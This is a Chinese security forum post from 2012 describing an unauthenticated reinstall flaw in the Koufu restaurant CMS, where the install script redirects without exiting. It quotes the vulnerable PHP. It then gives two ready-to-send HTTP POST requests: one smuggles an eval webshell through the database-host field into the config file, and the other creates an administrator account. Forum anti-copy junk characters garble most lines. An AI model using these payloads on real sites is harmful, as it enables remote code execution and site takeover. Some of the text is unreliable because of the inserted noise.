找回密码
 立即注册
查看: 2633|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
9 b- N" H' H9 P2 m& ^. I
- @" j" j. Y9 ], J<?php1 p: f1 Q. }" ]2 r
if(file_exists("../install.lock"))! N& v9 e2 y. q6 y4 A3 j* c
{
% w8 ~! d# i5 d; }$ B1 e1 i) O2 Y    header("Location: ../");//没有退出
% F) W9 |$ @4 ~}
, j  O! T2 `+ `) D, Q5 c* e# O% [               9 v, C# R  `0 s/ M0 Z/ L5 S* g8 Q
//echo 'tst';exit;
5 P/ k  f. }& Z6 {* t. b7 b9 ?2 {require_once("init.php");
4 z% C* k; Q( U' |$ h, F4 yif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
8 w7 s0 Y; `0 D5 B$ W2 d{2 K, {% w" o4 N% J, g6 b' q
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
/ [/ }" K3 v8 m# o1 [. c6 A9 I5 z: h8 z+ b3 d1 I( M
1、getshell(很危险)
# U- D# E- W: m% H! gif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
# c1 u" `" Z  y- a* j{
9 U4 w0 i+ l* s: c5 n$smarty->assign("step",1);! b' G5 n/ \1 Z
$smarty->display("index.html");
( z0 r* e/ C$ J8 b# w}elseif($_REQUEST['step']==2)
9 j6 K  t( G# E{- Q! z1 e: j4 R. P
    $mysql_host=trim($_POST['mysql_host']);
/ n& u+ s/ C4 M( z    $mysql_user=trim($_POST['mysql_user']);; q5 ^4 V' Z( W9 {
    $mysql_pwd=trim($_POST['mysql_pwd']);/ ~* p# T0 U6 t8 t# R& q
    $mysql_db=trim($_POST['mysql_db']);
' B1 t3 H  \0 u# W    $tblpre=trim($_POST['tblpre']);
0 T7 s0 K& c: A. z$ G  L' C$ ~6 P" L    $domain==trim($_POST['domain']);
' r1 h( R& j+ a( v( K) X    $str="<?php \r\n";
' G) `1 u7 ]% a$ R3 ?4 }3 d    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";- @3 q2 a2 A8 k6 C9 b+ r% S3 G* T
    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";6 O7 t* ?' X  V2 [6 a# W( B
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";/ }- s1 `4 Y/ G1 C  c
    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
! G' R4 A" H5 G    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
- f9 L& Z+ y; r* f2 w3 N    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
# j: I- j* A" S1 U$ o6 [    $str.='define("DOMAIN","'.$domain.'");'."\r\n";( U# V- L; @# P" }- k
    $str.='define("SKINS","default");'."\r\n";8 `: S1 Z& F/ a. Z$ k/ Z' y
    $str.='?>';( H' G, R; f# L1 b1 j0 m- o
    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件9 z! m; d7 ~2 w
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马9 L2 A: b8 F; V; O( O. U
POST /canting/install/index.php?m=index&step=2 HTTP/1.1; e3 w8 ~! a9 h+ l) {# [
Host: 192.168.80.129
0 B2 Q9 `: g8 c+ PUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0# ]& O+ k0 F1 J
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8, C6 ]. g1 M0 h6 q! I
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3- k  z( W. X  o9 }; v' d  B
Accept-Encoding: gzip, deflate- f7 S  l' P0 K5 _
Referer: http://192.168.80.129/canting/install/index.php?step=1; `1 a, x& r& g9 r4 t, o+ s$ I- P+ x
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42" c2 K4 Z/ m. n3 l
Content-Type: application/x-www-form-urlencoded
# F; w* R' N. m6 Z: N; ~Content-Length: 126" ~0 Y4 }6 T" a# I
         
2 X. r/ [. U0 _6 i  p! Wmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD9 G* }: r% h/ C: z2 Z$ m
但是这个方法很危险,将导致网站无法运行。' ^6 Y- L9 @$ s$ K- b

# d. w$ q: W& C2、直接添加管理员
. \6 ]2 a( s5 J* v- I* ~; P3 E# d5 a6 t% ]
elseif($_REQUEST['step']==5)! C; j+ A: J/ e) o" j* z( T! X' R
{
! k4 @1 ^' r# [7 p1 H- S    if($_POST)0 H" \' ~- k9 k
    {   require_once("../config/config.inc.php");$ f3 q1 Q6 @' L0 p3 b& `2 }
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);2 A2 e( F6 x0 _! T
        mysql_select_db(MYSQL_DB,$link);
; ^2 o. Q# F) m1 b& T+ Y# u" Z) I8 d2 h        mysql_query("SET NAMES ".MYSQL_CHARSET );
1 J# F& I, |8 @( C; F. u         mysql_query("SET sql_mode=''");
) v* g  F# W: y* z: h% L
5 u, x$ |7 U3 K% I7 Y $adminname=trim($_POST['adminname']);, Z- p* R" |. }- K; x* \' a# s* w
        $pwd1=trim($_POST['pwd1']);
4 {2 q3 w9 \( E! z9 D        $pwd2=trim($_POST['pwd2']);7 x% D* T  v$ Q" c* P: O
        if(empty($adminname))
8 Z7 v; j0 }$ h2 l$ ?  D        {
/ S7 ?- m  s: U. c! s- g
" R' f- Z; O% e- }+ ` echo "<script>alert('管理员不能为空');history.go(-1);</script>";: H' P( h" c$ @' E
            exit();
1 F; [/ g3 }+ ?4 A: |2 U" b        }
1 G2 C# b7 e- A        if(($pwd1!=$pwd2) or empty($pwd1))# V% f! L; T; J0 X1 j0 ^
        {2 K  A3 S  E0 p
            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
! K& u! i2 K" `5 H  D9 p        }3 Y( X% B' {: X7 @! i! I+ _$ K
        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
4 x6 D2 `) a- I9 I" p- Z3 c4 u  Z) p- f    }
1 M) w" r9 x8 c5 \( G$ B0 |这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:/ H7 U7 F9 J, `4 H
POST /canting/install/index.php?m=index&step=5 HTTP/1.1% V: j  G) Q/ O# o2 U- G
Host: 192.168.80.129
% @: O5 o- e# nUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
5 W9 h. g& V% X( [, FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' @' ~, z3 T4 L
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
/ O" m1 X% w- R) O+ TAccept-Encoding: gzip, deflate
, u1 E' p, H: W' s" f8 mReferer: http://www.2cto.com /canting/install/index.php?step=1" R; ]1 m  }- ~" D6 c
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
2 ^# G* l( D. J" xContent-Type: application/x-www-form-urlencoded
! S4 j6 _9 [+ qContent-Length: 46
( D: J2 _9 ~) t" ?        }$ ^# [- @* N+ T/ b
adminname=qingshen&pwd1=qingshen&pwd2=qingshen​
) S& g) j0 r1 h$ P+ f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表